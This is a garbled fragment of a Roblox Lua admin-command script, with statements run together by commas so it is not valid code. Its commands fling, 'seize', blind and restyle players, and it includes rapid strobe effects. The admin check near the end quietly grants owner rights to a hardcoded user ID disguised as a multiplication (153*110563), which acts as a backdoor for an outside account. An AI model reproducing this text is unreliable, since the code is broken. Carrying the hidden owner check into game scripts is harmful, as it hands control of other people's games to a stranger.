v.Character.Torso.CFrame, local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0), local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0), for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end, if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end, if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end, v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0), v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0), v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0), v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0), v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0), for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end, if msg:lower():sub(1,8) == "creeper " then, v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0), v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0), v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0), v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0), for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end, if msg:lower():sub(1,10) == "uncreeper " then, if msg:lower():sub(1,8) == "bighead " then, if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end, if msg:lower():sub(1,9) == "minihead " then, if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end, if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then, repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555, repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555, v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0), local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1), if msg:lower():sub(1,8) == "seizure " then, v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0), local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]], table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false, if msg:lower():sub(1,10) == "unseizure " then, for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end, if msg:lower():sub(1,12) == "removelimbs " then, if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end, if v and v.Character and v.Character:findFirstChild("Head") then, for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end, local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1), local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0, local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head, if msg:lower():sub(1,7) == "unname " then, v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1), if msg:lower():sub(1,7) == "unchar " then, v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId, if msg:lower():sub(1,7) == "infect " then, if msg:lower():sub(1,11) == "rainbowify " then, for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end, local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]], cl.Parent = v.Character cl.Disabled = false, if msg:lower():sub(1,9) == "flashify " then, local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]], if msg:lower():sub(1,8) == "noobify " then, if msg:lower():sub(1,9) == "ghostify " then, for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then, prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white"), if prt.Name:find("Leg") then prt.Transparency = 1 end, elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white"), if msg:lower():sub(1,8) == "goldify " then, prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow"), elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow"), prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white"), elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white"), if msg:lower():sub(1,7) == "normal " then, if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end, prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White"), if prt.Name == "FAKETORSO" then prt:Destroy() end, elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White"), if msg:lower():sub(1,7) == "trippy " then, for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end, local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY", local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10, local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false, if msg:lower():sub(1,9) == "untrippy " then, for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end, if msg:lower():sub(1,7) == "strobe " then, local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE", local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false, if msg:lower():sub(1,9) == "unstrobe " then, for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end, local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND", if msg:lower():sub(1,8) == "unblind " then, for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end, if msg:lower():sub(1,7) == "guifix " then, if msg:lower():sub(1,9) == "loopheal " then, local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[, local plr = game.Players:findFirstChild("]] .. v.Name .. [["), if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then, plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth, until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false, if msg:lower():sub(1,11) == "unloopheal " then, for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end, if msg:lower():sub(1,10) == "loopfling " then, local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[, if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then, plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0), local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1), wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false, if msg:lower():sub(1,12) == "unloopfling " then, for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end, if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then, if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!

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